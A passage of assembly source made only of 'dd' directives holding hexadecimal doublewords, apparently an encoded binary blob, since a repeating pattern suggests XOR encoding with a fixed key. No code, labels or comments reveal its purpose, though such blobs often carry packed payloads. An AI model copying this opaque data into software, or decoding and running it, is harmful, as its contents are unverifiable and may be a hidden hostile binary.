3A50D1B2h, 0CD3DA5D9h, 4754E1F0h, 4B045C1Eh dd 22321DEFh, 13B51A66h, 0E8321566h, 54327D07h, 36DB1566h dd 0B9321566h, 997ACCCCh, 7FF069CEh, 0C28D5DA1h, 2C7D057h dd 0E8487D16h, 77FD9400h, 24B81A15h, 1E321566h, 883215E1h dd 0CD647466h, 26F49480h, 92321566h, 0BCB51188h, 50BB4942h dd 2FBE1A42h, 0F8321566h, 8832156Eh, 0F086C95h, 0EF8AC737h dd 7752150Ch, 84775DFh, 0B8538284h, 3B438099h, 5DB1282h dd 0B1321566h, 0C0154C83h, 0E4F05C9Ah, 3A60EDB6h, 7E1CB39Ah dd 0CD3AAC7Fh, 0C61468E3h, 1DB81A61h, 87321566h, 443213ECh dd 22BD1A66h, 46321566h, 167D2EFh, 19D89C9Bh, 0D9B97539h dd 706BE6E6h, 8839FD06h, 9C241566h, 99ACDB3Bh, 0A68D60C6h dd 88B71AE3h, 1E321566h, 3DE89400h, 25CD74EEh, 4CB14C42h dd 52B31A62h, 2D321566h, 113205E2h, 8839FC66h, 94271566h dd 55138EB7h, 0CB912A39h, 0D664FD59h, 55DB1566h, 6D321566h dd 3542EAD6h, 0BE6785Eh, 301B372Ah, 9ACC35A6h, 1EB7A106h dd 883217EFh, 25E49E66h, 22709F0Eh, 35069C66h, 85DBB893h dd 0E6321566h, 2481DC3Ah, 38FF7D0Fh, 0BCE9836Bh, 905BB763h dd 676162Dh, 0B38F4042h, 0A179C10Fh, 4BDB488Eh, 0E7321566h dd 0EFD90276h, 729ABA37h dd 0E36E15BCh, 0DA03C7F8h, 0E903D257h, 8821FC9Eh, 0D4321566h dd 594E22Dh, 37C968ADh, 5362FD1Bh, 0EC740E58h, 3EB9423Dh dd 15F69642h, 0C4497D9Ah, 78BB1566h, 223DFC42h, 4671566h dd 1B83729Bh, 0F247C4E4h, 0B6951769h, 0E4F2255Ch, 87CF60C8h dd 44320CE1h, 2226FC66h, 0ACD81566h, 0AE6F3DBh, 5E38D1DAh dd 69DD2E0Ch, 0E8721092h, 99DBC28Ch, 62321566h, 0F0220F3Eh dd 0CE444FC7h, 0A0B9FE14h, 0DF97FE72h, 0F8B97306h, 0E0B9E006h dd 0BCCD7407h, 80B34B42h, 22321562h, 11249569h, 99DB1566h dd 60321566h, 9972A272h, 5E945A14h, 0E74957ECh, 3C6EF6BCh dd 98DFAE7h, 0FEB373F5h, 8D3D591Dh, 83B3CA4Fh, 273D591Dh dd 3A8DD2E7h, 8EDB73F5h, 12321566h, 33B0467Eh, 0F0BB4444h dd 8836D4E7h, 0ADB11566h, 63E9262h, 35269C3Ah, 81874206h dd 1353EC39h, 331621E7h, 4B789165h, 8B23AB30h, 0B6035FE2h dd 9FB9E938h, 16D61B5Fh, 88B91A06h, 0B1321566h, 0DDCDAC07h dd 20CAEA99h, 3361E0A6h, 44321566h, 2E8BFEE7h, 0E2330051h dd 848BD6E7h, 47B80051h, 0A954753Dh, 1137FDB9h, 50E41566h dd 4BAC407Bh, 223215E8h, 21534F66h, 3C775AEh, 0FB657495h dd 5B500C81h, 0F72AD2E7h, 761B93FBh, 70CDE939h, 60694E1h dd 199925AEh, 0B1611EDh, 8C0711A2h, 423ABE56h, 11321E8Eh dd 0E1E96466h, 88EE384Dh, 18141F1h, 0F8CAF00h, 8AB91A39h dd 24321566h, 0CBF37407h, 858D756Eh, 0E957FBCEh, 4B52D457h dd 0A354C3D1h, 70CD4486h, 0E0B71A2Ch, 24CDEA99h, 22321B8Fh dd 0A4274866h, 0D2CA1D1Dh, 3D380831h, 97AF6DA5h, 9864740Ah dd 0D66A43A8h, 22C7759Fh, 7253DFEDh, 0E66B4D37h, 8DDB84B7h dd 5A321566h, 2E270FD1h, 4B162199h, 8736D1E5h, 443201E7h dd 223DFC66h, 67F81566h, 3EAE1DA9h, 6CE6C146h, 0B50D6671h dd 15DE9637h, 331609EFh, 44321566h, 21BBC667h, 0CFB3753Dh dd 9CAACC8Dh, 94B2E906h, 0CB5374FAh, 11321576h, 0AEB694A6h dd 49F90296h, 0B847B8D6h, 0A872D01Ch, 8836AD36h, 0AEB31566h dd 790E2722h, 0D3B3D767h, 0D30E2722h, 45BE1A3Eh, 0DB321566h dd 116DF60Eh, 0AC269C66h, 44321F8Fh, 0E5C04F66h, 4DE7ED7Fh dd 77C3498Ch, 0A020C4E3h, 0B7B9E061h, 16D607B7h, 88339D69h dd 7DCE1566h, 0C63620F3h, 7BB61A61h, 0E8321566h, 0C554A0D4h dd 436086A8h, 401601EDh, 49B3F4EFh, 44321562h, 2236D4E7h dd 1DB51566h, 77CA4942h, 0C76C3152h, 445211A2h, 70CBCBEDh dd 41851A06h, 1E537535h, 26DE9407h, 98321566h, 8C8D315Ah dd 45321566h, 91524A98h, 70524323h, 69DB743Ch, 0ADCDEA9Ah dd 22321577h, 8519DFD7h, 2C504DB8h, 0CCD35C7Bh, 0C483A5C7h dd 3506EA76h, 8CF6943Ch, 0B1321566h, 701621EDh, 0D3B3F7EFh dd 88321562h, 4436D7E7h, 36B51566h, 0F8524942h, 88321561h dd 2DB74958h, 4344F74Bh, 0F2B27507h, 0E91DA7B5h, 171619EDh dd 0E1B3F6EFh, 11321562h, 8836D6E7h, 58B51566h, 0CB524942h dd 11321577h, 467CAFFAh, 40418AFh, 0FA7B5766h, 0CE15BF70h dd 0E9F19E9Bh, 131611EDh, 0E5B3F2EFh, 11321562h, 8836D2E7h dd 78B51566h, 31DB4942h, 0BA321566h, 55B40498h, 0E3521B4Bh dd 0A59D2324h, 0CF82E01h, 0DF546B9h, 43D60E23h, 22321566h dd 1132048Fh, 35656F66h, 8A08EF6Eh, 2843725Bh, 0B6444743h dd 0DF522EEh, 43D6358Bh, 22321566h, 3588759Ah, 0EE6E10AAh dd 0C753E6EDh, 0C9CA41DBh, 953D1561h, 8832152Bh, 276AA06h dd 953D461Ah, 9F3D74BFh, 8832157Eh, 44209D69h, 2FDB1566h dd 0BC321566h, 0BDB983DBh, 0B2AAC4A9h, 6E77F535h, 0DA5288EBh dd 33D128Ch, 4432156Eh, 22B11A06h, 70321566h, 0E852C699h dd 22E4A269h, 4453CAEDh, 3B9FC5E7h, 61B7EA07h, 0AD35F17Ch dd 22321563h, 94A5C65Ah, 618F9694h, 2035F17Ch, 208C9769h dd 1ECB1566h, 883214E2h, 0C1F5E066h, 25D60F8Fh, 11321567h dd 6152E093h, 44321560h, 5CA9AD96h, 94BFD8D5h, 8FD9CC45h dd 28A759Eh, 43010BF5h, 1ADBC599h, 0DC321566h, 0D8386B26h dd 0FF12A05Eh, 0A4BF0AF1h, 8FD9EC42h, 3C8F989Fh, 0DA35F9E2h dd 11321D8Fh, 24CD6966h, 75C599D3h, 24F59434h, 3806FC73h dd 0E78C4391h, 0C55BDB54h, 0E90E7088h, 90E4E25Eh, 733C2FA8h dd 0AAB35B7Bh, 25615E88h, 0BE38FBE7h, 7F1BB6A4h, 0FD547538h dd 0EAB9A600h, 15DE9607h, 91629EFh, 5DA53162h, 0A368030Ch dd 7B2B828Ch, 9EBB1A70h, 0AD321566h, 22321577h, 44CFF697h dd 92468E98h, 186586D2h, 0DD7F6C0Ah, 288F9E51h, 6135F168h dd 4432156Ah, 640F724Fh, 0CF93BB8Ch, 0A23CE2A5h, 0BBCDEADFh dd 0E203E999h, 1132138Fh, 51E99466h, 15E20719h, 223215DFh dd 9BC31466h, 0AC3E9E67h, 4436D1E7h, 33DB1566h, 3C321566h dd 8EF9CFA1h, 0D60A2657h, 0B10D9A94h, 1C8ED456h, 8DB61A06h dd 0FF321566h, 20BE6D64h, 11309E69h, 0E9521566h, 0B8FA2507h dd 2233AF34h, 0C7331566h, 85BC1A3Ch, 0AD321566h, 2232156Eh dd 6B208CB9h, 1D77C6Bh, 0CFB52199h, 0E6B13162h, 973D7562h dd 88321565h, 4BEC9E00h, 223213E6h, 11BA1A66h, 0E9321566h dd 243AFCA7h, 2232058Eh, 693E4766h, 8C3FC27Ah, 0A9C6E616h dd 8E1977AFh, 9A6BE9A7h, 490374B9h, 44339469h, 68CB1566h dd 0EE7A9069h, 80DBEA99h, 0B7321566h, 6D015BFFh, 40A5DED7h dd 0C02EAB30h, 30034F9Bh, 7A6C1142h, 0EC7A0953h, 86B11A3Ch dd 24321566h, 0D12CDCE7h, 0D0B34DDFh, 9113E048h, 89B58007h dd 0EFB5C491h, 9C3D75F3h, 88321566h, 9393F4E7h, 1B53456Ah dd 0F5333CE3h, 41B61A61h, 4B321566h, 223214EFh, 0AE65E966h dd 0E79E5D7Eh, 3FB3D2E7h, 0C5F33E6Dh, 5EE5E262h, 0EB2BAD36h dd 83032D98h, 0ABF5943Eh, 98A1973Ch, 3B524A9Eh, 0B489731Ah dd 0E23974D2h, 11209069h, 4FCB1566h, 0A03F2CE3h, 22321461h dd 10BF1A66h, 74321566h, 0E85A4434h, 7B087464h, 2376D4E7h dd 61B374CBh, 3174208Bh, 0A335FCA7h, 39DFFC97h, 0D1F89C54h dd 23D2F7E7h, 0F8C5086Dh, 565BDFE7h, 42B34FACh, 29133BE0h dd 0E0B3FFB7h, 91034CA5h, 0E868C467h, 4437FC06h, 0B46F1566h dd 0F9306C0Dh, 88321572h, 986B8D1Ch, 9D4F32DEh, 12A02EA9h dd 1D33209Bh, 6DAF38F4h, 9C8C743Fh, 707FCE65h, 88389E69h dd 41DB1566h, 9E321566h, 2E2581E4h, 31547507h, 0C089BBCBh dd 4378165Ah, 8C665EDFh, 69B35440h, 55546155h, 5648AD36h dd 0D0037E41h, 9FDB943Eh, 0C5268517h, 1AAFAF8Fh, 4263EC4Ch dd 0D87D4EDDh, 40D9D434h, 6BC1D6E7h, 0C8BB29FAh, 79B35C3Dh dd 2C1FD997h, 2D6BDFEFh, 11320CEBh, 8826FC66h, 0EE9A1566h dd 8A235DBFh, 0D609D71Ah, 0B9D2AA2Eh, 3421E0A3h, 429F6F0Eh dd 9696AD00h, 7B8CAD00h, 0AD879C07h, 0CB35F17Eh, 11321569h dd 4819B395h, 2F5C1817h, 7A245317h, 1E44FCCCh, 883214E3h dd 2C61E066h, 82D794Eh, 13D9D43Dh, 49CDD6E5h, 0AFB3178Dh dd 2093E3A4h, 4ACE4BEFh, 66DC289Eh, 0C13DFB88h, 223215E4h dd 63ED9506h, 3BA8D7E7h, 0C5530944h, 0FFEFC858h, 7AB71ABBh dd 71321566h, 0CD36F9E5h, 228A3162h, 98321566h, 61524D60h dd 44321563h, 97E4C2F9h, 43677498h, 883211DCh, 1EE79C66h dd 0DB6FFB67h, 9DBA0EFh, 0C3D1282h, 4432156Eh, 22309969h dd 70521566h, 88389F69h dd 4B521566h, 223215E5h, 70ED9E66h, 881F468Fh, 0A5DBED66h dd 2DCDEA98h, 113219EFh, 8EB91A66h, 4B321566h, 223215EFh dd 0A5AE966h, 1321516h, 83BB315Ah, 2D6DEEEFh, 113201EDh dd 86B21A66h, 0AD321566h, 2232156Fh, 0A1B63E3Ch, 89B22FCh dd 7DB726C2h, 0CB35F16Bh, 1132156Eh, 0F4861861h, 4209B6C8h dd 2232078Fh, 0B4C74A66h, 0D16C80C3h, 0DEFC944Ch, 0D343A983h dd 0D087C838h, 0DDCE16AEh, 202D21DBh, 7FDA1405h, 251FC54Fh dd 70517179h, 4B22D5A7h, 223202E1h, 1120FC66h, 11951566h dd 25C716ACh, 300701D4h, 81A52D38h, 4CBEC13Eh, 4ADBDD57h dd 0FE321566h, 0A5A6FC7Eh, 7076C943h, 2907E430h, 31BD1AE9h dd 1E321566h, 883218E5h, 443AFC66h, 0FC9A1566h, 78A50E2h dd 15BBC92Ch, 43D6185Fh, 2232108Fh, 6776B766h, 880F6DF7h dd 4B321466h, 2233D6E5h, 0AB547566h, 3754AFFCh, 0AD5358EBh dd 2232156Fh, 0ABEEC6D5h, 0A16C30E8h, 0FF0C94DEh, 2D89AEDDh dd 11338AE3h, 8835FC66h, 9BC1566h, 43BE4A28h, 0AB60EDCDh dd 0B03B12F6h, 44F09424h, 0D574153Ch, 83F094B4h, 14C1C07h dd 60269E70h, 2236D1E7h, 79CE1566h, 883274DFh, 0FE1601EFh dd 22321562h, 7168C367h, 98BB1A9Ah, 0AD321566h, 2232156Dh dd 1CB5A0AFh, 6003B852h, 25EC5592h, 3ADBA0EFh, 933D1282h dd 88321561h, 44339569h, 0DACA1566h, 5AB88EDh, 9521282h dd 61EA08BDh, 74627442h, 113215D8h, 0D6C29C66h, 4CB9CD67h dd 0AB61EC3Eh, 9AE89CA5h, 4CB1317Ah, 0FC547562h, 953D055Bh dd 0F85274B4h, 88321576h, 0F01CC184h, 0D0582EA1h, 84794BD1h dd 0C066EBC2h, 21D67D9Fh, 2EBB1566h, 98E39C42h, 87524CAEh dd 443213ECh, 22B51A66h, 77321566h, 0E94E04D8h, 0B5B37306h dd 0C3B3FB35h, 49200D4Eh, 75B73E07h, 0AD35F14Fh, 2232156Dh dd 41739AD2h, 51C1D61Ch, 85F120C1h, 2D521786h, 113216E6h dd 47B97366h, 49DB7493h, 3C321566h, 0F4C535A9h, 3603BED1h dd 17666206h, 3AE79065h, 923D1282h, 8832157Bh, 94B37306h dd 33DB4983h, 91321566h, 9F00ADC7h, 0A0A35F7Bh, 0F9BCFFBh dd 64159544h, 0B9C22407h, 0B1C224A0h, 26B91ACBh, 71321566h dd 0DE537406h, 6821E7D8h, 0D4B35314h, 23EB2DB4h, 896CE54Fh dd 6F1310AEh, 31DB5593h, 0DC321566h, 372D0AD9h, 0F3CA4ED7h dd 9804B2A2h, 4C527126h, 0CCBB7660h, 25CB0942h, 20FFFC9Eh dd 1CDB1566h, 11321566h, 82C42D3h, 0AC4DF009h, 6848B376h dd 9D59C31h, 443211A1h, 26DD9666h, 4D1629E1h, 711619EFh dd 4453E00Eh, 6269C66h, 11321A8Fh, 0E581266h, 0DC5B43C6h dd 4D399A78h, 72A62B0Ch, 3CEDC57h, 0A01468F3h, 25BF1A61h dd 1E321566h, 883214E4h, 4609E966h, 22939169h, 0E8521566h dd 953CDEDh, 4432118Ah, 6069C66h, 113211D8h, 0D6C01466h dd 443A9269h, 0A53D1566h, 11321564h, 30627406h, 17FE5A19h dd 0EE7D6B4Bh, 49F31435h, 88339B69h, 7FCE1566h, 0C63620EBh dd 0A2B71A61h, 87CDEA99h, 443212E5h, 7C637566h, 70FD9E00h dd 0F07FAE35h, 0AFF32D84h, 0D1B35E62h, 12BC32E5h, 6169CDEFh dd 44321577h, 7445476Ah, 0ACF139A0h, 9DA1273Ah, 77F2C86Dh dd 0C5BF98FFh, 1E35F129h, 883214ECh, 0A5CDE966h, 2222FC06h dd 0E5A1566h, 3B8C9768h, 0E7992CEBh, 56638040h, 98534FEEh dd 6C20C4EBh, 70CDE961h, 0E6B14F42h, 1139FC62h, 600C1566h dd 56CB4D7Dh, 5EA684FCh, 353E9EE8h, 9D79C33h, 443211A3h dd 26F79466h, 96321566h, 616E314Ah, 44321568h, 0BC6EDC89h dd 34A6BD9Fh, 2D098D9Ah, 0CD61B30Dh, 26F19485h, 92321566h dd 94B5118Dh, 70BB4942h, 0A33D7542h, 11321564h, 8B83D6EDh dd 0DDAF9E07h, 0CB35F172h, 11321576h, 1220EC3Eh, 0CA4E81F7h dd 6F3F83F1h, 0ACDB76ADh, 8CB32699h, 5127D942h, 63E9E18h dd 1136D1E7h, 61B31566h, 3A2700AAh, 0F3B79E9Eh, 1E35F174h dd 88321BEFh, 443BFC66h, 97EE1566h, 39E034DAh, 59DA6E33h dd 57DA7586h, 17321566h, 7DB9FE2h, 0E3ED30AFh, 62B20ED6h dd 69E744C2h, 90540E9Ch, 0D26BD288h, 44379069h, 88C1566h dd 7058D905h, 0AE579065h, 0C13D1282h, 22321561h, 11339C69h dd 0B9CA1566h, 49BB1A90h, 0CB321566h, 1132156Eh, 0AB710443h dd 995FB6EEh, 26B94336h, 15F69642h, 8821FC38h, 23F11566h dd 1FC59D81h, 33413930h, 0DBB68970h, 0E1419028h, 0CB9F73F5h dd 11321563h, 0BBBB91C4h, 45B71A16h, 0DE321566h, 7130F5A7h dd 8832058Fh, 0D595D066h, 6BAEE479h, 0F03B9144h, 6EAE4DAEh dd 25C29EB3h, 3AE79065h, 933D1282h, 8832156Ch, 44BA1A06h dd 0A9321566h, 0E103749Dh, 7803D357h, 44321E8Fh, 0B3ECAA66h dd 0D6DFA7F6h, 0D524107Ch, 175275CBh, 0ED8D1A39h, 0B5D1AD07h dd 8D534115h, 1B502748h, 821B763h, 3CFA145Fh, 0B11806C4h dd 26003B4Bh, 2AB41A39h, 1E321566h, 883217E7h, 0CF537566h dd 0AB653152h, 15F59481h, 0B321566h, 78B511A1h, 0A1CB4942h dd 0F510B8DBh, 0C3D1461h, 443215D5h, 0BFBF2E9Ah, 1E35F167h dd 8832B3E2h, 0CD3DE066h, 2232156Ah, 11349369h, 43D1566h dd 44321566h, 3FD3985Dh, 953D1282h, 883215E1h, 443A9B69h dd 0A13D1566h, 11321564h, 5097406h, 43D61887h, 225F9169h dd 973D1566h, 88321574h, 4432188Fh, 72F1C466h, 1889180Ah dd 0D76DC248h, 0D9BFDD31h, 25DE43B5h, 0C9851A06h, 8839FC35h dd 15FE1566h, 0BC24B18Bh, 26ECF8D5h, 77534BEBh, 45BC1AB5h dd 0DA321566h, 44F79C33h, 30524839h, 3C95500Ah, 0A7BB749Eh dd 16D637C7h, 0A95FFC9Ah, 54DB1566h, 0B8321566h, 63D9EE96h dd 0DDB8BD79h, 89848643h, 0AF7396D1h, 0FD64C6FBh, 8838FC61h dd 9F1C1566h, 6F6E134Ah, 6B0ADE22h, 0E8C7C699h, 0DA5805DCh dd 0EAFF9578h, 0BC8F9607h, 8835F144h, 446E9169h, 44521566h dd 2A53DFEDh, 6C21D8E3h, 70B61A61h, 2D321566h, 11321AEDh dd 8838FC66h, 7171566h, 0A7C2B171h, 13B9A0C3h, 9718AB06h dd 7F533C8Bh, 0C61CECE3h, 32B71A61h, 0E8321566h, 0FF89400h dd 5B2CAD95h, 0F853175Fh, 77CDEA54h, 443E9269h, 0A83D1566h dd 11321560h, 88329D69h, 0C1091566h, 25D607E7h, 11539069h dd 93D1566h, 44321567h, 378F969Eh, 1135F146h, 88279169h dd 0C7C71566h, 0C638D0DBh, 953D1561h, 88321559h, 44339B69h dd 0AFCB1566h, 0FAE888E3h, 8826FC61h, 0E6B81566h, 0E8B077F0h dd 0C0D4F538h, 21AABFB7h, 16C41C15h, 0E5DB514Fh, 0F8CDEA98h dd 88321569h, 261FFCD5h, 0F31D9241h, 39C489Eh, 0B3715B8Fh dd 0A02094E3h, 85B61A61h, 0F8CDEA98h, 8832156Fh, 0EF946616h dd 651C2CF0h, 298F96F1h, 8935FE9Eh, 445D9069h, 31DB1566h dd 0D3321566h, 0D2776BB3h, 815D39F4h, 9B813F45h, 59D39CF4h dd 0D09986Fh, 43D9ED0Ah, 22799069h, 993D1566h, 8832157Fh dd 4432018Fh, 0D98A4566h, 0FF4F31B5h, 0B16C60EFh, 0E0A24640h dd 0BEE166EDh, 0F5B798F5h, 61324C6Dh, 44321575h, 0E07304F5h dd 889528E8h, 0E9C716ACh, 560701D4h, 0D7A52D38h, 0EECC5E8Fh dd 4AB37599h, 632CB6A6h, 0CBCD2407h, 11321560h, 3D402C64h dd 0F9B1EC14h, 25D6367Bh, 2B61A66h, 61321577h, 44321575h dd 8D6C66CEh, 26A9DA79h, 0B17F2E26h, 4300DD8Dh, 0DE1AFA64h dd 0E96A905Dh, 0D3D128Dh dd 4432155Ah, 2232058Fh, 294B0466h, 0B73C670Eh, 0DCB2983Eh dd 0CAF58E19h, 50B79E5Ch, 7D35F164h, 4433AF34h, 0F5331566h dd 1120FC3Ch, 27BE1566h, 3C8D05DBh, 61153BBFh, 8CFB2BFFh dd 61CDB4Bh, 0BC52905Dh, 0A73D128Dh, 11321532h, 88269869h dd 4BDB1566h, 2C321566h, 9E35F0A1h, 0FE0F429Ch, 0BF579F3Eh dd 0A7B97368h, 16D61057h, 88321A8Fh, 96F87B66h, 92B567E5h dd 22E587C1h, 5308FC60h, 0BB8B449Eh, 0BCDEA99h, 0DB4CA9h dd 38321566h, 1E6FD904h, 3AB09DCh, 0AC6B3E63h, 86B2668Ch dd 0BC6E905Dh, 0A73D128Dh, 11321559h, 0ADB79E93h, 4B35F14Bh dd 22320DEDh, 1121FC66h, 0F6341566h, 7507B816h, 5351866h dd 375742F4h, 49DE27D1h, 4EB81A46h, 42321566h, 0AAF5A269h dd 0D9F5F360h, 0BB8B4407h, 0BCDEA99h, 2ACE4CA9h, 63CA71E3h dd 8B71A61h, 2D321566h, 113219E5h, 8EB51A66h, 4B321566h dd 223215E2h, 48B79E66h, 6135F173h, 4432156Ch, 31C9EDE9h dd 246FDC98h, 0DEC7A987h, 443214D8h, 7CC51466h, 11279969h dd 98DB1566h, 0EE321566h, 82FD8B5Ch, 949F555Fh, 52214276h dd 7F2D6B29h, 0C9CA7DE3h, 0FB71A61h, 0E8321566h, 0B1EAFDE6h dd 0A7B9E907h, 16D613ABh, 898B449Eh, 45321566h, 0A43D4CA9h dd 11321567h, 0E4B72E9Ah, 4B35FE9Eh, 223256E3h, 19B61A66h dd 87321566h, 443217EFh, 0A9537566h, 0F53010E3h, 80B31A61h dd 24321566h, 0A2EAA269h, 4253BE80h, 883214DDh, 1FED1466h dd 2232068Fh, 0C7DA4666h, 0FF43BF56h, 8B52BC9h, 0D3B26960h dd 142946D9h, 7042905Dh, 0C13D128Dh, 22321549h, 1EEA9F06h dd 883210EAh, 6EE9AD66h, 0A95307DAh, 0F51014E3h, 82B01A61h dd 0AD321566h, 22321563h, 22472904h, 898C435Ah, 45321566h dd 19CA4B91h, 0FACA61E3h, 0BEB71A61h, 0BD321566h, 2D6F90EDh dd 71521282h, 62A7AB00h, 28C49400h, 0D0B37447h, 62F59FF2h dd 8CB14207h, 246D1442h, 22321A8Fh, 73E56E66h, 8151BE1Fh dd 0F90B4260h, 0F3970C6Ch, 69B72E07h, 8735FE9Eh, 443259E3h dd 223FFC66h, 3331566h, 0CACE72D4h, 0FECFB30Bh, 0A99295A3h dd 0F51564E3h, 8835FC61h, 18721566h, 39D1B281h, 3DB342D3h dd 77CDEA42h, 22524A99h, 0CB60CAEDh, 11321575h, 0E72099BCh dd 333750ADh, 0ADF3E005h, 0B1C17F2h, 0D358DFF0h, 38B72E07h dd 2D35FE9Eh, 113243E3h, 9ADB7566h, 30321566h, 0CC667102h dd 0D9D80564h, 0F5B76D7Dh, 0BB065223h, 2239FDB2h, 4B841566h dd 2A585E03h, 8F2F0BD0h, 0A9534A75h, 0F517E8E3h, 3062EC61h dd 0BBCDEA99h, 426AD24Fh, 1132048Fh, 29BD0166h, 487F218Bh dd 73110F3Bh, 0FF22933Ch, 36542B60h, 7F53444Ah, 0C9CA91E3h dd 22B71A61h, 61321566h, 44321563h, 1AC254C9h, 4B79ECFh dd 7435F179h, 16BBAD36h, 0C2F32885h, 0C1C55560h, 0D58C3826h dd 8333924Dh, 0A73D753Eh, 11321565h, 3FC9E00h, 0C109749Eh dd 25D9EDE6h, 11789069h, 87521566h, 0FA54DCD1h, 0A153BEB6h dd 0F51CC8DBh, 0D3D1561h, 44321552h, 2239FC9Ah, 59181566h dd 0DED23BEEh, 0B02FA4CFh, 17B79E01h, 7135F169h, 8832128Fh dd 13D30B66h, 0EA3C508Ch, 5B3586D9h, 36647414h, 0BBCDEA99h dd 0DA6CE24Fh, 1C47A8E5h, 87321282h, 443274E2h, 23BD1A66h dd 0E8321566h, 713E905Dh, 0C13D128Dh, 22321528h, 11359669h dd 73D1566h, 44321567h, 34B41A9Ah, 71321566h, 88321A8Fh dd 0CAABA666h, 0C5A2196Ch, 8884E2BDh, 6680D6CDh, 0F5B79E07h dd 0CB35F14Bh, 11321576h, 0D1273C43h, 0F7831211h, 27D329E8h dd 22C818Dh, 77CDA833h, 0AB1BEA99h, 9FB1ED3Bh, 16D6383Bh dd 0E1B61A66h, 24321564h, 2DDBED06h, 0E2321566h, 6453F2A0h dd 0A9296E78h, 97F876B0h, 77530A5Ch, 3580FEE7h, 458F9607h dd 2235F16Fh, 130C9169h, 9CDB1566h, 85321566h, 67108587h dd 6380CAD0h, 0E2D6546h, 0BF2ABB25h, 1908D615h, 0FACAE5E3h dd 0C2B71A61h, 0B8321566h, 5A390EDh, 1ADB1282h, 13321566h dd 5658CEFAh, 0F96A084Bh, 0AB604840h, 88321567h, 0AD68C267h dd 22321563h, 7323579Eh, 0B3D7505h, 44321564h, 33DBC3EDh dd 0FD321566h, 0B2EFC03Dh, 0B5D26A91h, 7D870479h, 0A58EC78Bh dd 88B72E07h, 4B35FE9Fh, 22320DE3h, 94B9EC66h, 8FD60E43h dd 17ED929Fh, 79161199h, 903DCAE1h, 88321567h, 0B0B72E9Eh dd 2D35FE9Eh, 113241E3h, 0DB9ED66h, 43D62483h, 2226FD06h dd 0F45C1566h, 5F1FE9AEh, 53786632h, 0C3FEF303h, 0E9FEBAD3h dd 59B26EE8h, 4FDB4E07h, 4E321566h, 0AE5DD34Dh, 7F17A4A7h dd 0BC538536h, 2233AE35h, 0CE331566h, 883DFC3Dh, 0CB031566h dd 0D0AE31E2h, 0F27DE0CFh, 0D3420965h, 40B72E4Fh, 2D35FE9Fh dd 11325BE3h, 36547566h, 0A2B241D9h, 2D5274B1h, 113215E4h dd 0E9C99E66h, 517390EDh, 2DDB1282h, 60321566h, 6F9988C1h dd 0C9199CEAh, 13CD62A7h, 0FDB1EDCCh, 0AC0E9C62h, 1B161199h dd 2232078Fh, 2E1DC066h, 27305215h, 4D0BDE35h, 3F38CC6Ah dd 2AF5EFF9h, 63CB1DE3h, 2CB71A61h, 2D321566h, 11320FEAh dd 9CB61A66h, 0AD321566h, 22321569h, 29683E96h, 16843735h dd 3B5C8CB5h, 0A9FCD2F7h, 0F527F8E3h, 89BF1A61h, 0BC321566h dd 0DBB97306h, 11329269h, 0DA531566h, 575085DCh, 0D0B35F38h dd 4F2177E8h, 6168C267h, 44321577h, 667F4960h, 0A482DADh dd 1781E5A4h, 0CFB06856h, 26BC1A87h, 71321566h, 0B3537406h dd 0AFCAEDE3h, 6FB71A61h, 1E321566h, 88321BE7h, 85B97566h dd 2232108Fh, 10442166h, 7053AF36h, 5D3790EDh, 32DB1282h dd 0F7321566h, 0D209C2CCh, 54596ACEh, 342B887Bh, 0E944BB5Fh dd 883DAC37h, 85B30568h, 40802FD1h, 0E6D3C42Fh, 79B35CB7h dd 5E4D9F13h, 0DA6BDA67h, 0E9CE905Dh, 0D3D128Dh, 4432157Eh dd 2DFD9E06h, 9A53DAD1h, 6C245CE3h, 0FC62E061h, 22321567h dd 0E96AD267h, 8133A8E5h, 4B321282h, 22386CE2h, 4252E066h dd 0E930CEE7h, 4B6B1D90h, 223217EAh, 70537566h, 70BA905Dh dd 0C13D128Dh, 2232152Bh, 68B79E9Ah, 8735F149h, 44321FEEh dd 0A3547566h, 1E56A380h, 0D853D5D1h, 0CC539DDEh, 647B307Ch dd 247A4E1Ah, 0BFF47D28h, 0A7585763h, 4F441061h, 0D633DF28h dd 8821FC3Eh, 8AF1566h, 0A902E8D2h, 1AC758D9h, 0C2DED89Bh dd 8B8603ACh, 3EB72E80h, 1E35FE9Fh, 883249E3h, 56DB7566h dd 98321566h, 3480CD53h, 4A4D1C2Ch, 8FB3648Ah, 3FB74DA1h dd 12B61A06h, 87321566h, 0CF53CED9h, 0C6272CE3h, 0AB60E961h dd 0E5866221h, 6878D7E7h, 0F0C56467h, 0E3B3C791h, 0C95F1282h dd 0AEB3C791h, 42154EEFh, 1E68C267h, 883219ECh, 42BF1A66h dd 2D321566h, 113215E8h, 4B72E66h, 4B35FE9Eh, 223233E3h dd 19B91A66h, 87321566h, 443217E6h, 0A9537566h, 0F531CCE3h dd 0D0627561h, 68D5AC00h, 0DD8B4407h, 38CDEA99h, 0B3CA4CA9h dd 0AFCA85E3h, 6EB71A61h, 1E321566h, 883212EBh, 45B71A66h dd 0DE321566h, 4C790EDh, 9ADB1282h, 0FA321566h, 0A482D582h dd 0C680B728h, 579C95B5h, 6C4A5D1Ch, 9860E9BDh, 0DD134A9h dd 9809D7E7h, 857853A4h, 0D0B3128Ch, 7869603Eh, 4AF09424h dd 6DA476A6h, 19CA4FB1h, 0FACA81E3h, 0DEB71A61h, 0B8321566h dd 2CAF90EDh, 0F8521282h, 8832156Eh, 2FACEB68h, 7B85E667h dd 975FAD00h, 3163ED07h dd 30F42B28h, 6AD39427h, 0E64DC055h, 8BD3D4BFh, 75BF4E7h dd 0D3B33D76h, 19225427h, 876BDA67h, 443201E9h, 223DFC66h dd 15A31566h, 0CFFDEEE2h, 0DA2B8098h, 0CE75388Ah, 89B72EE2h dd 8735FE9Eh, 443274E3h, 223AFC66h, 0E1001566h, 0DDEBB4A5h dd 0F9B11D94h, 25D63BBBh, 56B71A66h, 87321566h, 44320CEBh dd 0C8B37566h, 247BB345h, 88321E8Eh, 5A9E6766h, 351135DDh dd 0C4D379E2h, 0DB9743Ch, 43D61E47h, 223E9B69h, 963D1566h dd 88321560h, 44329269h, 9A621566h, 11321567h, 876AD267h dd 443214E8h, 0A709E066h, 16D9EDFAh, 881A9069h, 0CFCA1566h dd 0C61DD0E3h, 0A962ED61h, 77CDEA99h, 4B6AD24Fh, 223204E6h dd 113EFC66h, 0DB661566h, 0DDD648B8h, 88B1DF7Fh, 94090884h dd 8FD9EDC6h, 44699069h, 44521566h, 1FCEF3E7h, 558F9607h dd 4435F148h, 22759069h, 0A9521566h, 0A4EC473Dh, 0A5B79E07h dd 4235F166h, 11309269h, 28821566h, 44269369h, 2DDB1566h dd 4A321566h, 557A60CDh, 4698B669h, 6F927612h, 40536426h dd 